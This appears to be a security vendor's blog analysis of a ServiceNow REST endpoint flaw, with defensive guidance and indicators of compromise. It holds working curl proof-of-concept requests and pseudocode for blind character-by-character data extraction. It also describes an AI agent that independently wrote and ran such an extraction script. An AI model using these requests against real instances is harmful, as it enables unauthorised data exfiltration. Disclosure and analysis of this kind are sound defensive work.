The ServiceNow "Related List Edit" Incident - What Really Happened?

.png)
On June 9th, 2026, ServiceNow published KB3067321, disclosing a critical security patch. The details were scarce. But the online community quickly figured out that the culprit was the Scripted REST API component /api/now/related_list_edit. Specifically, that POST /api/now/related_list_edit/create shipped with requires_authentication set to false.
For actionable recommendations, please see the Security Guidance section at the end of this document.
ServiceNow categorized the resulting risk as data exfiltration. They did not, however, explain what the bug was, and how it was exploited. Reco's security researchers quickly studied the patch. We deduced the June 5th patch was actually just the first step - the vulnerability wasn't completely fixed until July 9th.
In this blog post, we will dive into how attackers were able to exploit /api/now/related_list_edit/create, and correct some false information that was spread online about that bug. We discussed this specific vulnerability directly with ServiceNow and confirmed it's what the patch addressed. What ServiceNow has not confirmed is that this was the attack - that part is our own deduction, built from the patches and the evidence we could gather. We also include actionable security guidance further down.
What KB3067321 actually said
The endpoint is POST /api/now/related_list_edit/create, backed by the "script include" (sys_script_include) related_list_edit_helper. It's a helper component that can be used by other scripts. Its legitimate job is to associate records into a related list: either a many-to-many association (type: "m2m", inserting into a junction table) or a one-to-many one (type: "o2m", updating a reference field on the selected records).
The disclosed problem was a configuration one: requires_authentication = false on the Scripted REST resource. In ServiceNow terms that means the resource was callable by the guest user. The guest user is a special user that represents anonymous, unauthenticated users. This means anyone on the internet could invoke the API. ServiceNow's advisory placed this in the data exfiltration category. It did not describe attackers writing privileged roles anywhere; that came later, from third-party commentary, and it is addressed in the next section.
The vulnerability was reported to ServiceNow's bug bounty program on April 22, 2026. Real-world exploitation - anomalous activity against a subset of customer instances - began on June 2, with additional customers filing their own reports on June 3 and 4. ServiceNow corrected requires_authentication and notified affected customers on June 5, 2026. Separately, on June 7, two security researchers submitted their own report to the bug bounty program. ServiceNow has said it has reason to believe the June 2 activity is attributable to security researchers or customers conducting their own research, though they were not able to confirm it. KB3067321, disclosing the fix publicly, went live on June 9, 2026 - four days after the patch - and the story broke in the security community shortly after. Full ACL enforcement on the read path landed by default on July 9, 2026 (Zurich Patch 11 / Australia Patch 4). A ServiceNow security advisory disclosed that a variant of the issue had been identified and addressed via a separate update on June 10th.
Early third-party commentary
Several independent write-ups described the bug as attackers calling this endpoint to insert privileged roles - writing rows into sys_group_has_role. This makes sense given what that API was designed to do. Some have reportedly seen logs showing the method called with sys_group_has_role in the payload. If you're reconstructing intent from request bodies without the server source in front of you, "they were trying to write roles" is a reasonable guess.
But that did not sit well with us. First of all, ServiceNow never told us to review role assignments. Also, they clearly said it was data exfiltration. There's also a subtler problem: the role-planting theory doesn't fit the fix. Roles are inert on the Guest user, so an attacker would have to grant the role to a different, real user they control (for example a self-registered user). But anyone with such a user is already authenticated, and the June 5th fix, requiring authentication, wouldn't stop them. The only actor it locks out is the unauthenticated Guest, for whom writing roles is useless. Reading data is the one thing Guest benefits from directly, and it's exactly what the fix shuts down.
_addRelatedRecords: function(m2mTableName, parentFieldName, parentRecordSysId, referencedFieldName, gr, errorRecords, result) {
var m2m = new GlideRecord(m2mTableName);
if (m2m.canCreate() || m2m.canWrite()) {
m2m.initialize();
m2m.setValue(parentFieldName, parentRecordSysId);
m2m.setValue(referencedFieldName, gr.getUniqueValue());
var insertResult = m2m.insert();
...
} else {
var displayName = this.getDisplayNames(userGivenTable, [gr.getUniqueValue()]);
...
}
}
The write is gated on m2m.canCreate() || m2m.canWrite(). Against sys_group_has_role - or virtually any sensitive table - the guest user (or any low-privilege identity) fails that check. ACLs still apply to the write, even in the fully vulnerable original code. So the insert simply does not happen. We also checked older versions of the code, and the checks were already there.
The real vulnerability: an oracle
Strip away the related-list machinery and the endpoint does something very simple: you hand it a filter, it finds the records matching that filter, and it associates each of them into a related list. To find the matching records, it runs a database query. And it runs that query with access controls switched off:
var gr = new GlideRecord(userGivenTable); // GlideRecord, NOT GlideRecordSecure
gr.addQuery(itemFilterQuery); // <- your filter goes straight in here
gr.query();
ServiceNow has two ways to read the database from server-side code. GlideRecordSecure enforces the caller's access controls - it only returns rows and fields the caller is allowed to see. Plain GlideRecord, the one used here, enforces nothing. It reads whatever is in the table. The filter it's evaluating (itemFilterQuery) comes straight from the request body, unmodified. So an attacker can write any condition they want, point it at any table and field, and the endpoint will faithfully test that condition against the real data - data the attacker has no permission to read.
Though the records are retrieved, they are never sent back to the attacker. But the endpoint takes a different action depending on whether the filter matched anything, and those two actions produce two visibly different HTTP responses. In other words, the response tells you whether your condition was true. This is what we call an "oracle" - we can ask the oracle a question, and get a binary response - true or false. Here's how it works:
For a many-to-many association, the endpoint loops over the rows the query found and tries to create an association record for each one:
while (gr.next()) { // for every row the filter matched...
this._addRelatedRecords(...); // ...try to insert an association record
}
- The filter matched nothing. There are no rows to loop over, so the endpoint does nothing at all and simply returns its starting result - an empty list: {"success":0,"successRecords":[],"error":[]}. Call this the FALSE signal.
- The filter matched one or more rows. Now the loop runs, and for each matched row the endpoint tries to write an association record into the target table. As we saw earlier, that write is access-controlled, and a low-privilege attacker isn't allowed to do it - so the write fails. Because it fails partway through, the endpoint's reply comes back looking different from the clean empty-list case. Call this the TRUE signal.
That is the entire oracle, and it's worth being clear about what it rests on: the access-control-free read, plus the fact that "matched something" and "matched nothing" run down different branches of the code and come back looking different. It does not depend on the exact way the write fails. Even if the failure were perfectly graceful - the endpoint noting "you're not allowed to create that association" and returning a tidy error - that error response would still be distinguishable from the empty-list response, and you'd still have your one bit.
So why, in the real captured traffic below, is the TRUE response not a tidy error but a completely blank page? Because the failure path has a second bug on top of the access-control one - the same missing-variable slip in the else branch shown earlier. When the write is denied, the endpoint tries to build a friendly error message, references a variable that doesn't exist in that part of the code, and throws an exception. Its error handling catches the exception but then forgets to send any response body at all. The result is an HTTP 200 with nothing in it.
Here we demonstrate the oracle. Two requests, differing only in the filter.
TRUE - short_descriptionSTARTSWITHadmin on incident:
curl -si \
-u 'username:password' \
-X POST 'https://target.service-now.com/api/now/related_list_edit/create' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d '{
"type": "m2m",
"userGivenTable": "incident",
"newItemsQuery": "sys_idLIKE",
"itemFilterQuery": "short_descriptionSTARTSWITHadmin",
"m2mTableName": "placeholder",
"parentFieldName": "placeholder",
"parentRecordSysId": "placeholder",
"referencedFieldName": "placeholder",
"asyncOperation": false
}'
HTTP/1.1 200 OK
Server: snow_adc
Content-Type: application/json
Transfer-Encoding: chunked
...
X-Is-Logged-In: true
X-Content-Type-Options: nosniff
← (no body)
FALSE - short_descriptionSTARTSWITHhx on incident:
curl -si \
-u 'username:password' \
-X POST 'https://target.service-now.com/api/now/related_list_edit/create' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d '{
"type": "m2m",
"userGivenTable": "incident",
"newItemsQuery": "sys_idLIKE",
"itemFilterQuery": "short_descriptionSTARTSWITHhx",
"m2mTableName": "placeholder",
"parentFieldName": "placeholder",
"parentRecordSysId": "placeholder",
"referencedFieldName": "placeholder",
"asyncOperation": false
}'
HTTP/1.1 200 OK
Server: snow_adc
Content-Type: application/json;charset=UTF-8
...
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
{"result":{"success":0,"successRecords":[],"error":[],"asyncProperties":null,"relatedListName":null}}
Two things to note from the requests themselves. First, only two fields carry any meaning for the oracle: userGivenTable (which table you read) and itemFilterQuery. Second, X-Is-Logged-In: true on both: these captures are from the intermediate window after June 5, when the endpoint required a session but the read still ran through plain GlideRecord. Note that in our first PoCs we used a real table name, sys_user_grmember, rather than the string placeholder. We believe the researchers simply used sys_group_has_role as a placeholder, like we used sys_user_grmember.
STARTSWITH turns the one-bit oracle into character-by-character extraction. You confirm a prefix, then extend it one character at a time:
known_prefix = ""
while True:
for c in charset:
if oracle(field + "STARTSWITH" + known_prefix + c): # empty body means TRUE
known_prefix += c
break
else:
break # no char matched - known_prefix is the complete value
This is the same class of inference attack as 'Count(er)-Strike' that still haunts ServiceNow. There, the oracle is the total record count a query returns, hence the name.
A naive run can take a while. With concurrent probing and some character-frequency heuristics, it speeds up to data exfiltration at scale.
Because the read path never consulted ACLs at all, this works against any table and any field the calling identity would normally be blocked from reading - except field types that don't support these filters (e.g. Password2). Query Range ACLs don't mitigate it either.
The real fix
After June 5th, with requires_authentication = true, the read still executed as new GlideRecord(userGivenTable), unconditionally. So the exact oracle above still ran - it just needed a session first. That is what the captured PoC shows: basic-auth credentials, X-Is-Logged-In: true, and the oracle behaving identically. Any authenticated identity worked, regardless of role.
There was a property in play at the time, glide.mra.related_list.enforce_acl, but it did not help the read. In the original code it only chose which insert helper ran:
var enforceSecureInsert = GlideProperties.getBoolean('glide.mra.related_list.enforce_acl', false);
...
if (enforceSecureInsert)
this._addRelatedRecordsSecure(...);
else
this._addRelatedRecords(...);
It gated _addRelatedRecordsSecure versus _addRelatedRecords. It had zero effect on the userGivenTable read, which was plain GlideRecord no matter what the property said.
On July 9th, ServiceNow fixed the code, having checked dependent components, to ensure nothing would break. They changed several things. For example, glide.mra.related_list.enforce_acl now defaults to true instead of false. But the most important change was that it now guards the read path: Before (always insecure):
var gr = new GlideRecord(userGivenTable);
gr.addQuery(itemFilterQuery);
gr.addQuery(m2mQuery);
gr.query();
After (conditional):
var gr = "";
if (this.isSecurityChecksEnabled()) {
gr = new GlideRecordSecure(userGivenTable);
gr.addEncodedQuery(itemFilterQuery, true);
gr.addEncodedQuery(m2mQuery, true);
} else {
gr = new GlideRecord(userGivenTable);
gr.addQuery(itemFilterQuery);
gr.addQuery(m2mQuery);
}
gr.query();
One qualifier that matters a great deal: this is a default-case fix, not a removal of the vulnerable path. If an administrator has explicitly set glide.mra.related_list.enforce_acl = false - say, because a custom integration depended on the old insecure behavior - the instance is still fully exposed to the exact oracle above, unchanged.
Security Guidance
- Check whether glide.mra.related_list.enforce_acl has been explicitly set to false anywhere in your instance (as a system property override). If it has, you are running the fully vulnerable code today, regardless of platform patch level.
- Confirm your instance is on Zurich Patch 11 / Australia Patch 4 or later, or the equivalent fix backported to your release train.
- To check whether your instance was hit, search syslog_transaction (System Logs > Transactions) for remote_ip matching 51.159.98.241, filtered to url starting with /api/now/related_list_edit, in the window around June 2-4, 2026:
remote_ip=51.159.98.241^urlSTARTSWITH/api/now/related_list_edit^sys_created_onBETWEENjavascript:gs.dateGenerate('2026-06-02','00:00:00')@javascript:gs.dateGenerate('2026-06-04','00:00:00')
Because that window predates the June 5th authentication fix, any hits will be attributed to the Guest user rather than a real account. On an endpoint that should never see legitimate guest traffic, that attribution is itself an indicator worth alerting on.
Two caveats worth stating rather than skipping. First, this IP only catches the pre-fix, unauthenticated window - anyone who kept exploiting the same oracle after June 5th via an authenticated session won't show up this way, and needs the request-pattern signature instead: near-identical, incrementally-changing filter values. Second, syslog_transaction rotates on roughly a 6-8 week cycle, so the further out from June 2-4 you're reading this, the more likely the raw entries are already gone.
Cheap oracles in the age of capable models
The uncomfortable part of this bug is how little skill it now takes to find and weaponize. Not long ago, a vulnerability like this had two expensive steps. First, discovery: finding a path a low-privileged user can trigger that runs an insecure query, confirming it works as an oracle, and figuring out how to distinguish a true result from a false one. Second, weaponization: invoking the API, writing the STARTSWITH walk, handling concurrency and edge cases. Tedious, but mechanical.
Both of those steps are collapsing. We have already documented an AI agent, on a separate Salesforce engagement, independently recognizing a boolean-oracle pattern from a malformed API response and then writing a complete blind-extraction script from scratch and running it - no human deriving the oracle, no human authoring the harness. That's a separate case, not a claim about this one - but it's the clearest evidence yet that the class of reasoning that used to gate this kind of finding is now something a sufficiently capable model can do in one sitting.
But discovery is the harder part, and that's collapsing too. Finding a bug like this used to mean reading the code file by file. A frontier model like Claude Mythos just reads every script at once and tells you where an oracle is even possible.



.png)
